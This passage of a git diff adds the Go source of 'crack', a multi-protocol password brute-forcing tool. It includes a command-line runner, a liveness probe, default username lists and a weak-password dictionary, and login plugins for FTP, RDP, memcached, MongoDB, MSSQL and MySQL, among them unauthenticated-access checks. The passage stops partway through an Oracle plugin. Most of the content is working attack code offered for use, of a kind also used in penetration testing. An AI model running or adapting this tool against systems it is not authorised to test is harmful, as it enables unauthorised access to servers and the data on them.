+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4=
+honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
+rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
diff --git a/images/008i3skNly1gpuu2jwqsxj318c0u0npd.jpg b/images/008i3skNly1gpuu2jwqsxj318c0u0npd.jpg
deleted file mode 100644
index 87131d7..0000000
Binary files a/images/008i3skNly1gpuu2jwqsxj318c0u0npd.jpg and /dev/null differ
diff --git a/images/008i3skNly1gpuu4bn73tj312u0qona7-20210424150635645.jpg b/images/008i3skNly1gpuu4bn73tj312u0qona7-20210424150635645.jpg
deleted file mode 100644
index 7012a99..0000000
Binary files a/images/008i3skNly1gpuu4bn73tj312u0qona7-20210424150635645.jpg and /dev/null differ
diff --git a/images/image-20210420171457750.png b/images/image-20210420171457750.png
deleted file mode 100644
index c0c231f..0000000
Binary files a/images/image-20210420171457750.png and /dev/null differ
diff --git a/internal/runner/banner.go b/internal/runner/banner.go
new file mode 100644
index 0000000..5dd97b9
--- /dev/null
+++ b/internal/runner/banner.go
@@ -0,0 +1,19 @@
+package runner
+
+import "github.com/projectdiscovery/gologger"
+
+const Banner = `
+ __
+ ______________ ______/ /__
+ / ___/ ___/ __ / ___/ //_/
+/ /__/ / / /_/ / /__/ / \
+\___/_/ \__,_/\___/_/|_|
+
+ ` + Version + ` by zp857
+`
+
+const Version = `v2.1`
+
+func showBanner() {
+ gologger.Print().Msgf("%v\n", Banner)
+}
diff --git a/internal/runner/options.go b/internal/runner/options.go
new file mode 100644
index 0000000..1dbf992
--- /dev/null
+++ b/internal/runner/options.go
@@ -0,0 +1,168 @@
+package runner
+
+import (
+ "encoding/json"
+ "fmt"
+ "github.com/niudaii/crack/internal/utils"
+ "github.com/projectdiscovery/goflags"
+ "github.com/projectdiscovery/gologger"
+ "github.com/projectdiscovery/gologger/formatter"
+ "github.com/projectdiscovery/gologger/levels"
+ "strings"
+)
+
+type Options struct {
+ // input
+ Input string
+ InputFile string
+ Module string
+ User string
+ Pass string
+ UserFile string
+ PassFile string
+ // config
+ Threads int
+ Timeout int
+ Delay int
+ CrackAll bool
+ // output
+ OutputFile string
+ NoColor bool
+ // debug
+ Silent bool
+ Debug bool
+
+ Targets []string
+ UserDict []string
+ PassDict []string
+}
+
+func ParseOptions() *Options {
+ options := &Options{}
+
+ flagSet := goflags.NewFlagSet()
+ flagSet.SetDescription(`Service cracker`)
+
+ flagSet.CreateGroup("input", "Input",
+ flagSet.StringVarP(&options.Input, "input", "i", "", "crack service input(example: -i '127.0.0.1:3306', -i '127.0.0.1:3307|mysql')"),
+ flagSet.StringVarP(&options.InputFile, "input-file", "f", "", "crack services file(example: -f 'xxx.txt')"),
+ flagSet.StringVarP(&options.Module, "module", "m", "all", "choose one module to crack(ftp,ssh,wmi,mssql,oracle,mysql,rdp,postgres,redis,memcached,mongodb)"),
+ flagSet.StringVar(&options.User, "user", "", "user(example: -user 'admin,root')"),
+ flagSet.StringVar(&options.Pass, "pass", "", "pass(example: -pass 'admin,root')"),
+ flagSet.StringVar(&options.UserFile, "user-file", "", "user file(example: -user-file 'user.txt')"),
+ flagSet.StringVar(&options.PassFile, "pass-file", "", "pass file(example: -pass-file 'pass.txt')"),
+ )
+
+ flagSet.CreateGroup("config", "Config",
+ flagSet.IntVar(&options.Threads, "threads", 1, "number of threads"),
+ flagSet.IntVar(&options.Timeout, "timeout", 10, "timeout in seconds"),
+ flagSet.IntVar(&options.Delay, "delay", 0, "delay between requests in seconds (0 to disable)"),
+ flagSet.BoolVarP(&options.CrackAll, "crack-all", "", false, "crack all user:pass"),
+ )
+
+ flagSet.CreateGroup("output", "Output",
+ flagSet.StringVarP(&options.OutputFile, "output", "o", "crack.txt", "output file to write found results"),
+ flagSet.BoolVarP(&options.NoColor, "no-color", "nc", false, "disable colors in output"),
+ )
+
+ flagSet.CreateGroup("debug", "Debug",
+ flagSet.BoolVar(&options.Silent, "silent", false, "show only results in output"),
+ flagSet.BoolVar(&options.Debug, "debug", false, "show debug output"),
+ )
+
+ if err := flagSet.Parse(); err != nil {
+ gologger.Fatal().Msgf("Program exiting: %v", err)
+ }
+
+ options.configureOutput()
+
+ showBanner()
+
+ if err := options.validateOptions(); err != nil {
+ gologger.Fatal().Msgf("Program exiting: %v", err)
+ }
+
+ if err := options.configureOptions(); err != nil {
+ gologger.Fatal().Msgf("Program exiting: %v", err)
+ }
+
+ return options
+}
+
+// configureOutput 配置输出
+func (o *Options) configureOutput() {
+ if o.NoColor {
+ gologger.DefaultLogger.SetFormatter(formatter.NewCLI(true))
+ }
+
+ if o.Debug {
+ gologger.DefaultLogger.SetMaxLevel(levels.LevelDebug)
+ }
+
+ if o.Silent {
+ gologger.DefaultLogger.SetMaxLevel(levels.LevelSilent)
+ }
+
+ gologger.DefaultLogger.SetWriter(utils.NewCLI(o.OutputFile))
+}
+
+// validateOptions 验证选项
+func (o *Options) validateOptions() error {
+ if o.Input == "" && o.InputFile == "" {
+ return fmt.Errorf("no service input provided")
+ }
+ if o.Debug && o.Silent {
+ return fmt.Errorf("both debug and silent mode specified")
+ }
+ if o.Delay < 0 {
+ return fmt.Errorf("delay can't be negative")
+ }
+ if o.UserFile != "" && !utils.FileExists(o.UserFile) {
+ return fmt.Errorf("file %v does not exist", o.UserFile)
+ }
+ if o.PassFile != "" && !utils.FileExists(o.PassFile) {
+ return fmt.Errorf("file %v does not exist", o.PassFile)
+ }
+
+ return nil
+}
+
+// configureOptions 配置选项
+func (o *Options) configureOptions() error {
+ var err error
+ if o.Input != "" {
+ o.Targets = append(o.Targets, o.Input)
+ } else {
+ var lines []string
+ lines, err = utils.ReadLines(o.InputFile)
+ if err != nil {
+ return err
+ }
+ o.Targets = append(o.Targets, lines...)
+ }
+ if o.User != "" {
+ o.UserDict = strings.Split(o.User, ",")
+ }
+ if o.Pass != "" {
+ o.PassDict = strings.Split(o.Pass, ",")
+ }
+ if o.UserFile != "" {
+ if o.UserDict, err = utils.ReadLines(o.UserFile); err != nil {
+ return err
+ }
+ }
+ if o.PassFile != "" {
+ if o.PassDict, err = utils.ReadLines(o.PassFile); err != nil {
+ return err
+ }
+ }
+ // 去重
+ o.Targets = utils.RemoveDuplicate(o.Targets)
+ o.UserDict = utils.RemoveDuplicate(o.UserDict)
+ o.PassDict = utils.RemoveDuplicate(o.PassDict)
+ // 打印配置
+ opt, _ := json.Marshal(o)
+ gologger.Debug().Msgf("当前选项: %v", string(opt))
+
+ return nil
+}
diff --git a/internal/runner/runner.go b/internal/runner/runner.go
new file mode 100644
index 0000000..9b25958
--- /dev/null
+++ b/internal/runner/runner.go
@@ -0,0 +1,52 @@
+package runner
+
+import (
+ "fmt"
+ "github.com/niudaii/crack/pkg/crack"
+ "github.com/projectdiscovery/gologger"
+)
+
+type Runner struct {
+ options *Options
+ crackRunner *crack.Runner
+}
+
+func NewRunner(options *Options) (*Runner, error) {
+ crackOptions := &crack.Options{
+ Threads: options.Threads,
+ Timeout: options.Timeout,
+ Delay: options.Delay,
+ CrackAll: options.CrackAll,
+ Silent: options.Silent,
+ }
+ crackRunner, err := crack.NewRunner(crackOptions)
+ if err != nil {
+ return nil, fmt.Errorf("crack.NewRunner() err, %v", err)
+ }
+ return &Runner{
+ options: options,
+ crackRunner: crackRunner,
+ }, nil
+}
+
+func (r *Runner) Run() {
+ // 解析目标
+ addrs := crack.ParseTargets(r.options.Targets)
+ addrs = crack.FilterModule(addrs, r.options.Module)
+ if len(addrs) == 0 {
+ gologger.Info().Msgf("目标为空")
+ return
+ }
+ // 存活探测
+ gologger.Info().Msgf("存活探测")
+ addrs = r.crackRunner.CheckAlive(addrs)
+ gologger.Info().Msgf("存活数量: %v", len(addrs))
+ // 服务爆破
+ results := r.crackRunner.Run(addrs, r.options.UserDict, r.options.PassDict)
+ if len(results) > 0 {
+ gologger.Info().Msgf("爆破成功: %v", len(results))
+ for _, result := range results {
+ gologger.Print().Msgf("%v -> %v %v", result.Protocol, result.Addr, result.UserPass)
+ }
+ }
+}
diff --git a/internal/utils/fileutil.go b/internal/utils/fileutil.go
new file mode 100644
index 0000000..e6d3ac3
--- /dev/null
+++ b/internal/utils/fileutil.go
@@ -0,0 +1,27 @@
+package utils
+
+import (
+ "bufio"
+ "os"
+)
+
+func ReadLines(filename string) (lines []string, err error) {
+ f, err := os.Open(filename)
+ if err != nil {
+ return
+ }
+ defer f.Close()
+ s := bufio.NewScanner(f)
+ for s.Scan() {
+ lines = append(lines, s.Text())
+ }
+ return
+}
+
+func FileExists(filename string) bool {
+ info, err := os.Stat(filename)
+ if os.IsNotExist(err) || err != nil || info == nil {
+ return false
+ }
+ return !info.IsDir()
+}
diff --git a/internal/utils/log.go b/internal/utils/log.go
new file mode 100644
index 0000000..e5f1e60
--- /dev/null
+++ b/internal/utils/log.go
@@ -0,0 +1,55 @@
+package utils
+
+import (
+ "fmt"
+ "github.com/projectdiscovery/gologger/levels"
+ "github.com/projectdiscovery/gologger/writer"
+ "os"
+ "sync"
+)
+
+type CLI struct {
+ outputFile string
+ mutex *sync.Mutex
+}
+
+var _ writer.Writer = &CLI{}
+
+func NewCLI(outputFile string) *CLI {
+ cli := &CLI{
+ outputFile: outputFile,
+ mutex: &sync.Mutex{},
+ }
+ if !FileExists(outputFile) {
+ fp, err := os.Create(outputFile)
+ if err != nil {
+ fmt.Printf("Create %v err, %v\n", outputFile, err)
+ return cli
+ }
+ defer fp.Close()
+ }
+ return cli
+}
+
+func (w *CLI) Write(data []byte, level levels.Level) {
+ w.mutex.Lock()
+ defer w.mutex.Unlock()
+
+ switch level {
+ case levels.LevelSilent:
+ os.Stdout.Write(data)
+ os.Stdout.Write([]byte("\n"))
+
+ default:
+ os.Stderr.Write(data)
+ os.Stderr.Write([]byte("\n"))
+ }
+ fl, err := os.OpenFile(w.outputFile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
+ if err != nil {
+ fmt.Printf("Open %v err, %v\n", w.outputFile, err)
+ return
+ }
+ _, _ = fl.Write(data)
+ _, _ = fl.Write([]byte("\n"))
+ fl.Close()
+}
diff --git a/internal/utils/utils.go b/internal/utils/utils.go
new file mode 100644
index 0000000..0b0673d
--- /dev/null
+++ b/internal/utils/utils.go
@@ -0,0 +1,28 @@
+package utils
+
+import (
+ "crypto/md5"
+ "encoding/hex"
+)
+
+func RemoveDuplicate(list []string) []string {
+ var set []string
+ hashSet := make(map[string]struct{})
+ for _, v := range list {
+ hashSet[v] = struct{}{}
+ }
+ for k := range hashSet {
+ // 去除空字符串
+ if k == "" {
+ continue
+ }
+ set = append(set, k)
+ }
+ return set
+}
+
+func Md5(s string) string {
+ m := md5.New()
+ m.Write([]byte(s))
+ return hex.EncodeToString(m.Sum(nil))
+}
diff --git a/pkg/crack/check.go b/pkg/crack/check.go
new file mode 100644
index 0000000..261b49e
--- /dev/null
+++ b/pkg/crack/check.go
@@ -0,0 +1,59 @@
+package crack
+
+import (
+ "fmt"
+ "github.com/cheggaaa/pb/v3"
+ "net"
+ "sync"
+ "time"
+)
+
+// CheckAlive 存活检测
+func (r *Runner) CheckAlive(addrs []*IpAddr) (results []*IpAddr) {
+ // RunTask
+ mutex := &sync.Mutex{}
+ wg := &sync.WaitGroup{}
+ taskChan := make(chan *IpAddr, r.options.Threads)
+ for i := 0; i < r.options.Threads; i++ {
+ go func() {
+ for task := range taskChan {
+ if r.conn(task) {
+ mutex.Lock()
+ results = append(results, task)
+ mutex.Unlock()
+ }
+ wg.Done()
+ }
+ }()
+ }
+
+ if r.options.Silent {
+ for _, task := range addrs {
+ wg.Add(1)
+ taskChan <- task
+ }
+ close(taskChan)
+ wg.Wait()
+ } else {
+ bar := pb.StartNew(len(addrs))
+ for _, task := range addrs {
+ bar.Increment()
+ wg.Add(1)
+ taskChan <- task
+ }
+ close(taskChan)
+ wg.Wait()
+ bar.Finish()
+ }
+
+ return
+}
+
+// conn 建立tcp连接
+func (r *Runner) conn(ipAddr *IpAddr) (alive bool) {
+ _, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ipAddr.Ip, ipAddr.Port), time.Duration(r.options.Timeout)*time.Second)
+ if err == nil {
+ alive = true
+ }
+ return
+}
diff --git a/pkg/crack/config.go b/pkg/crack/config.go
new file mode 100644
index 0000000..3bd2735
--- /dev/null
+++ b/pkg/crack/config.go
@@ -0,0 +1,58 @@
+package crack
+
+var (
+ PortNames = map[int]string{
+ 21: "ftp",
+ 22: "ssh",
+ 135: "wmi",
+ 445: "smb",
+ 1433: "mssql",
+ 1521: "oracle",
+ 3306: "mysql",
+ 3389: "rdp",
+ 5432: "postgres",
+ 6379: "redis",
+ 11211: "memcached",
+ 27017: "mongodb",
+ }
+
+ SupportProtocols = map[string]bool{
+ "ftp": true,
+ "ssh": true,
+ "wmi": true,
+ "wmihash": true,
+ "smb": true,
+ "mssql": true,
+ "oracle": true,
+ "mysql": true,
+ "rdp": true,
+ "postgres": true,
+ "redis": true,
+ "memcached": true,
+ "mongodb": true,
+ }
+)
+
+var (
+ UserMap = map[string][]string{
+ //"ftp": {"ftp", "admin", "www"},
+ "ftp": {"ftp"},
+ //"ssh": {"root", "oracle", "admin"},
+ "ssh": {"root"},
+ "wmi": {"administrator"},
+ "wmihash": {"administrator"},
+ "smb": {"administrator"},
+ "mssql": {"sa"},
+ "oracle": {"oracle", "system"},
+ "mysql": {"root"},
+ "rdp": {"administrator"},
+ "postgres": {"postgres", "admin"},
+ "redis": {""},
+ "memcached": {""},
+ "mongodb": {"admin", "root"},
+ }
+
+ TemplatePass = []string{"{user}", "{user}!@#123", "{user}!@#456", "{user}#123", "{user}*PWD", "{user}1", "{user}11", "{user}12#$", "{user}123", "{user}123456", "{user}@111", "{user}@123", "{user}@123#4", "{user}@2016", "{user}@2017", "{user}@2018", "{user}@2019", "{user}@2020", "{user}@2021", "{user}@2022", "{user}_123"}
+
+ CommonPass = []string{"", "!QAZ2wsx", "000000", "1", "111111", "123", "123123", "12313", "123321", "1234", "12345!@#$%abc", "123456", "12345678", "123456789", "1234567890", "12345678;abc", "123456Aa", "123qwe!@#", "123qweASD", "1q2w3e", "1qaz2wsx", "1QAZ2wsx", "1qaz@WSX", "1QAZ@WSX", "1qazxsw2", "654321", "666666", "8888888", "a11111", "a123123", "a12345", "a123456", "a123456", "a123456.", "Aa123123", "Aa1234", "Aa1234.", "Aa12345", "Aa12345.", "Aa123456", "Aa123456!", "Aa123456789", "abc+123", "abc123", "abc123456", "abc@123", "admin", "admin123", "Admin123", "admin123!@#", "admin888", "admin@123", "Admin@123", "Admin@1234", "admin@888", "adminadmin", "adminPwd", "Asdfg@123", "Charge123", "P@ssw0rd", "P@ssw0rd!", "P@ssword", "p@ssword", "pass123", "pass@123", "Passw0rd", "password", "qwe123", "qwe123!@#", "root", "sysadmin", "system", "test", "test123", "xcv@123", "zxc1qaz", "Zxcvb123"}
+)
diff --git a/pkg/crack/parse.go b/pkg/crack/parse.go
new file mode 100644
index 0000000..dc8a4ce
--- /dev/null
+++ b/pkg/crack/parse.go
@@ -0,0 +1,53 @@
+package crack
+
+import (
+ "strconv"
+ "strings"
+)
+
+func ParseTargets(targets []string) (results []*IpAddr) {
+ for _, target := range targets {
+ target = strings.TrimSpace(target)
+ tmp := strings.Split(target, ":")
+ if len(tmp) != 2 {
+ continue
+ }
+ ip := tmp[0]
+ tmp = strings.Split(tmp[1], "|")
+ if len(tmp) == 2 { // ip列表中指定了端口对应的服务
+ port, _ := strconv.Atoi(tmp[0])
+ protocol := tmp[1]
+ if SupportProtocols[protocol] {
+ results = append(results, &IpAddr{
+ Ip: ip,
+ Port: port,
+ Protocol: protocol,
+ })
+ }
+ } else { // 通过端口查默认服务
+ port, _ := strconv.Atoi(tmp[0])
+ protocol, ok := PortNames[port]
+ if ok && SupportProtocols[protocol] {
+ results = append(results, &IpAddr{
+ Ip: ip,
+ Port: port,
+ Protocol: protocol,
+ })
+ }
+ }
+ }
+
+ return
+}
+
+func FilterModule(addrs []*IpAddr, module string) (results []*IpAddr) {
+ if module == "all" {
+ return addrs
+ }
+ for _, addr := range addrs {
+ if addr.Protocol == module {
+ results = append(results, addr)
+ }
+ }
+ return results
+}
diff --git a/pkg/crack/plugins/ftp.go b/pkg/crack/plugins/ftp.go
new file mode 100755
index 0000000..079471b
--- /dev/null
+++ b/pkg/crack/plugins/ftp.go
@@ -0,0 +1,21 @@
+package plugins
+
+import (
+ "fmt"
+ "github.com/jlaffaye/ftp"
+ "time"
+)
+
+func FtpCrack(serv *Service) int {
+ addr := fmt.Sprintf("%v:%v", serv.Ip, serv.Port)
+ servConn, err := ftp.Dial(addr, ftp.DialWithTimeout(time.Duration(serv.Timeout)*time.Second))
+ if err != nil {
+ return CrackError
+ }
+ err = servConn.Login(serv.User, serv.Pass)
+ if err != nil {
+ return CrackFail
+ }
+ defer servConn.Logout() // nolint
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/grdp/grdp.go b/pkg/crack/plugins/grdp/grdp.go
new file mode 100644
index 0000000..bccb9d1
--- /dev/null
+++ b/pkg/crack/plugins/grdp/grdp.go
@@ -0,0 +1,217 @@
+// nolint
+package grdp
+
+import (
+ "errors"
+ "fmt"
+ "github.com/tomatome/grdp/core"
+ "github.com/tomatome/grdp/glog"
+ "github.com/tomatome/grdp/protocol/nla"
+ "github.com/tomatome/grdp/protocol/pdu"
+ "github.com/tomatome/grdp/protocol/rfb"
+ "github.com/tomatome/grdp/protocol/sec"
+ "github.com/tomatome/grdp/protocol/t125"
+ "github.com/tomatome/grdp/protocol/tpkt"
+ "github.com/tomatome/grdp/protocol/x224"
+ "log"
+ "net"
+ "os"
+ "sync"
+ "time"
+)
+
+const (
+ PROTOCOL_RDP = "PROTOCOL_RDP"
+ PROTOCOL_SSL = "PROTOCOL_SSL"
+)
+
+type Client struct {
+ Host string // ip:port
+ tpkt *tpkt.TPKT
+ x224 *x224.X224
+ mcs *t125.MCSClient
+ sec *sec.Client
+ pdu *pdu.Client
+ vnc *rfb.RFB
+ Timeout int
+}
+
+func NewClient(host string, timeout int, logLevel glog.LEVEL) *Client {
+ glog.SetLevel(logLevel)
+ logger := log.New(os.Stdout, "", 0)
+ glog.SetLogger(logger)
+ return &Client{
+ Host: host,
+ Timeout: timeout,
+ }
+}
+
+func (g *Client) loginForSSL(domain, user, pwd string) error {
+ conn, err := net.DialTimeout("tcp", g.Host, time.Duration(g.Timeout)*time.Second)
+ if err != nil {
+ return fmt.Errorf("[dial err] %v", err)
+ }
+ err = conn.SetReadDeadline(time.Now().Add(time.Duration(g.Timeout) * time.Second))
+ if err != nil {
+ return err
+ }
+ defer conn.Close()
+ glog.Info(conn.LocalAddr().String())
+
+ g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
+ g.x224 = x224.New(g.tpkt)
+ g.mcs = t125.NewMCSClient(g.x224)
+ g.sec = sec.NewClient(g.mcs)
+ g.pdu = pdu.NewClient(g.sec)
+
+ g.sec.SetUser(user)
+ g.sec.SetPwd(pwd)
+ g.sec.SetDomain(domain)
+
+ g.tpkt.SetFastPathListener(g.sec)
+ g.sec.SetFastPathListener(g.pdu)
+ g.pdu.SetFastPathSender(g.tpkt)
+
+ err = g.x224.Connect()
+ if err != nil {
+ return fmt.Errorf("[x224 connect err] %v", err)
+ }
+ glog.Info("wait connect ok")
+ wg := &sync.WaitGroup{}
+ breakFlag := false
+ wg.Add(1)
+
+ g.pdu.On("error", func(e error) {
+ err = e
+ glog.Error("error", e)
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("close", func() {
+ err = errors.New("close")
+ glog.Info("on close")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("success", func() {
+ err = nil
+ glog.Info("on success")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("ready", func() {
+ glog.Info("on ready")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("update", func(rectangles []pdu.BitmapData) {
+ glog.Info("on update:", rectangles)
+ })
+ g.pdu.On("done", func() {
+ if breakFlag == false {
+ breakFlag = true
+ wg.Done()
+ }
+ })
+ wg.Wait()
+ return err
+}
+
+func (g *Client) loginForRDP(domain, user, pwd string) error {
+ conn, err := net.DialTimeout("tcp", g.Host, time.Duration(g.Timeout)*time.Second)
+ if err != nil {
+ return fmt.Errorf("[dial err] %v", err)
+ }
+ err = conn.SetReadDeadline(time.Now().Add(time.Duration(g.Timeout) * time.Second))
+ if err != nil {
+ return err
+ }
+ defer conn.Close()
+ glog.Info(conn.LocalAddr().String())
+
+ g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
+ g.x224 = x224.New(g.tpkt)
+ g.mcs = t125.NewMCSClient(g.x224)
+ g.sec = sec.NewClient(g.mcs)
+ g.pdu = pdu.NewClient(g.sec)
+
+ g.sec.SetUser(user)
+ g.sec.SetPwd(pwd)
+ g.sec.SetDomain(domain)
+
+ g.tpkt.SetFastPathListener(g.sec)
+ g.sec.SetFastPathListener(g.pdu)
+ g.pdu.SetFastPathSender(g.tpkt)
+
+ g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
+
+ err = g.x224.Connect()
+ if err != nil {
+ return fmt.Errorf("[x224 connect err] %v", err)
+ }
+ glog.Info("wait connect ok")
+ wg := &sync.WaitGroup{}
+ breakFlag := false
+ updateCount := 0
+ wg.Add(1)
+
+ g.pdu.On("error", func(e error) {
+ err = e
+ glog.Error("error", e)
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("close", func() {
+ err = errors.New("close")
+ glog.Info("on close")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("success", func() {
+ err = nil
+ glog.Info("on success")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("ready", func() {
+ glog.Info("on ready")
+ })
+ g.pdu.On("update", func(rectangles []pdu.BitmapData) {
+ glog.Info("on update:", rectangles)
+ updateCount += 1
+ //fmt.Println(updateCount," ",rectangles[0].BitmapLength)
+ })
+ g.pdu.On("done", func() {
+ if breakFlag == false {
+ breakFlag = true
+ wg.Done()
+ }
+ })
+
+ //wait 2 Second
+ time.Sleep(time.Second * 3)
+ if breakFlag == false {
+ breakFlag = true
+ wg.Done()
+ }
+ wg.Wait()
+
+ if updateCount > 50 {
+ return nil
+ }
+ err = errors.New("login failed")
+ return err
+}
+
+func Login(target, domain, username, password string, timeout int) error {
+ var err error
+ g := NewClient(target, timeout, glog.NONE)
+ //SSL协议登录测试
+ err = g.loginForSSL(domain, username, password)
+ if err == nil {
+ return nil
+ }
+ if err.Error() != PROTOCOL_RDP {
+ return err
+ }
+ //RDP协议登录测试
+ err = g.loginForRDP(domain, username, password)
+ if err == nil {
+ return nil
+ } else {
+ return err
+ }
+}
diff --git a/pkg/crack/plugins/memcached.go b/pkg/crack/plugins/memcached.go
new file mode 100755
index 0000000..449afa2
--- /dev/null
+++ b/pkg/crack/plugins/memcached.go
@@ -0,0 +1,37 @@
+package plugins
+
+import (
+ "fmt"
+ "net"
+ "strings"
+ "time"
+)
+
+func MemcachedCrack(serv *Service) int {
+ // 未授权
+ return MemcachedUnAuth(serv)
+}
+
+func MemcachedUnAuth(serv *Service) int {
+ addr := fmt.Sprintf("%v:%v", serv.Ip, serv.Port)
+ conn, err := net.DialTimeout("tcp", addr, time.Duration(serv.Timeout)*time.Second)
+ if err != nil {
+ return CrackError
+ }
+ err = conn.SetDeadline(time.Now().Add(time.Duration(serv.Timeout) * time.Second))
+ if err != nil {
+ return CrackError
+ }
+ defer conn.Close()
+ _, err = conn.Write([]byte("stats\n"))
+ if err == nil {
+ rev := make([]byte, 1024)
+ n, err := conn.Read(rev)
+ if err == nil {
+ if strings.Contains(string(rev[:n]), "STAT") {
+ return CrackSuccess
+ }
+ }
+ }
+ return CrackError
+}
diff --git a/pkg/crack/plugins/mongodb.go b/pkg/crack/plugins/mongodb.go
new file mode 100755
index 0000000..b4a8634
--- /dev/null
+++ b/pkg/crack/plugins/mongodb.go
@@ -0,0 +1,61 @@
+package plugins
+
+import (
+ "fmt"
+ "gopkg.in/mgo.v2"
+ "net"
+ "strings"
+ "time"
+)
+
+func MongodbCrack(serv *Service) int {
+ // 未授权
+ if res := MongodbUnAuth(serv); res != -1 {
+ return res
+ }
+ // 口令爆破
+ url := fmt.Sprintf("mongodb://%v:%v@%v:%v/%v", serv.User, serv.Pass, serv.Ip, serv.Port, serv.User)
+ session, err := mgo.Dial(url)
+ if err != nil {
+ if strings.Contains(err.Error(), "Authentication failed") {
+ return CrackFail
+ }
+ return CrackError
+ }
+ defer session.Close()
+ err = session.Ping()
+ if err != nil {
+ return CrackFail
+ }
+ return CrackSuccess
+}
+
+var senddata = []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
+
+func MongodbUnAuth(serv *Service) int {
+ addr := fmt.Sprintf("%v:%v", serv.Ip, serv.Port)
+ conn, err := net.DialTimeout("tcp", addr, time.Duration(serv.Timeout)*time.Second)
+ if err != nil {
+ return CrackError
+ }
+ err = conn.SetDeadline(time.Now().Add(time.Duration(serv.Timeout) * time.Second))
+ if err != nil {
+ return CrackError
+ }
+ defer conn.Close()
+ _, err = conn.Write(senddata)
+ if err != nil {
+ return CrackError
+ }
+ buf := make([]byte, 1024)
+ count, err := conn.Read(buf)
+ if err != nil {
+ fmt.Println(err)
+ return CrackError
+ }
+ text := string(buf[0:count])
+ if strings.Contains(text, "totalLinesWritten") {
+ return CrackSuccess
+ }
+ return -1
+}
diff --git a/pkg/crack/plugins/mssql.go b/pkg/crack/plugins/mssql.go
new file mode 100755
index 0000000..d25639e
--- /dev/null
+++ b/pkg/crack/plugins/mssql.go
@@ -0,0 +1,32 @@
+package plugins
+
+import (
+ "database/sql"
+ "fmt"
+ _ "github.com/denisenkom/go-mssqldb"
+ "strings"
+ "time"
+)
+
+func MssqlCrack(serv *Service) int {
+ dataSourceName := fmt.Sprintf("sqlserver://%v:%v@%v:%v?encrypt=disable&dial+timeout=%v&connection+timeout=%v", serv.User, serv.Pass, serv.Ip, serv.Port, serv.Timeout, serv.Timeout)
+ db, err := sql.Open("sqlserver", dataSourceName)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ db.SetConnMaxLifetime(time.Duration(serv.Timeout) * time.Second)
+ db.SetConnMaxIdleTime(time.Duration(serv.Timeout) * time.Second)
+ db.SetMaxIdleConns(0)
+ defer db.Close()
+ err = db.Ping()
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/mysql.go b/pkg/crack/plugins/mysql.go
new file mode 100755
index 0000000..e4bd552
--- /dev/null
+++ b/pkg/crack/plugins/mysql.go
@@ -0,0 +1,29 @@
+package plugins
+
+import (
+ "database/sql"
+ "fmt"
+ _ "github.com/go-sql-driver/mysql"
+ "strings"
+ "time"
+)
+
+func MysqlCrack(serv *Service) int {
+ dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8&timeout=%v&readTimeout=%v", serv.User, serv.Pass, serv.Ip, serv.Port, "", time.Duration(serv.Timeout)*time.Second, time.Duration(serv.Timeout)*time.Second)
+ db, err := sql.Open("mysql", dataSourceName)
+ if err != nil {
+ return CrackError
+ }
+ db.SetConnMaxLifetime(time.Duration(serv.Timeout) * time.Second)
+ db.SetConnMaxIdleTime(time.Duration(serv.Timeout) * time.Second)
+ db.SetMaxIdleConns(0)
+ defer db.Close()
+ err = db.Ping()
+ if err != nil {
+ if strings.Contains(err.Error(), "1045") {
+ return CrackFail
+ }
+ return CrackError
+ }
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/oracle.go b/pkg/crack/plugins/oracle.go
new file mode 100755
index 0000000..114cbc7
--- /dev/null
+++ b/pkg/crack/plugins/oracle.go
@@ -0,0 +1,51 @@
+package plugins
+
+import (
+ "database/sql"
